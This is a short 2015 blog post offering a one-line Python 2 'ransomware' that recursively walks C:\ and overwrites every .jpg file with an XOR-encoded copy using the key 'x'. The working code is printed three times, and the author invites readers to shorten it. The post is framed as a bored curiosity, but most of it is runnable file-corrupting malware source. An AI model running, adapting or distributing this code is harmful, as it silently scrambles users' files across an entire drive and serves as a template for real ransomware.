Wednesday, April 8, 2015

Single line python ransomware?

Boredom is very dangerous because you start to waste time on nonsense, and this article is the proof of it  πŸ˜„ Here is a tiny ransomware implemented with only one python expression.
map(lambda y: map(lambda x: map(lambda z: x.seek(0) or x.write(''.join(chr(ord(c)^ord(k)) for c,k in izip(z, "x"*len(z)))) and x.close(),[x.read()]), [open(y, 'r+b')]) , [os.path.join(d[0], f) for d in os.walk("c:\\") for f in d[2] if f.endswith(".jpg")])
I ommitted import statements in the previous line, with them:

import os;from itertools import izip;map(lambda y: map(lambda x: map(lambda z: x.seek(0) or x.write(''.join(chr(ord(c)^ord(k)) for c,k in izip(z, "x"*len(z)))) and x.close(),[x.read()]), [open(y, 'r+b')]) , [os.path.join(d[0], f) for d in os.walk("c:\\") for f in d[2] if f.endswith(".jpg")])
A more readable version:

import os;from itertools import izip;map(lambda filepath: map(lambda openfile: map(lambda readbytes: openfile.seek(0) or openfile.write(''.join(chr(ord(c)^ord(k)) for c,k in izip(readbytes, "x"*len(readbytes)))) and openfile.close(),[openfile.read()]), [open(filepath, 'r+b')]) , [os.path.join(d[0], f) for d in os.walk("c:\\") for f in d[2] if f.endswith(".jpg")])
If you execute it, the script will walk c:\ and encrypt jpg files with a simple byte by byte xor with key: ‘x’. Executing it again will decrypt the files.

If you guess how to do the script shorter, tell me please, i would like to be able to write it in 140 characters.

No comments:

Post a Comment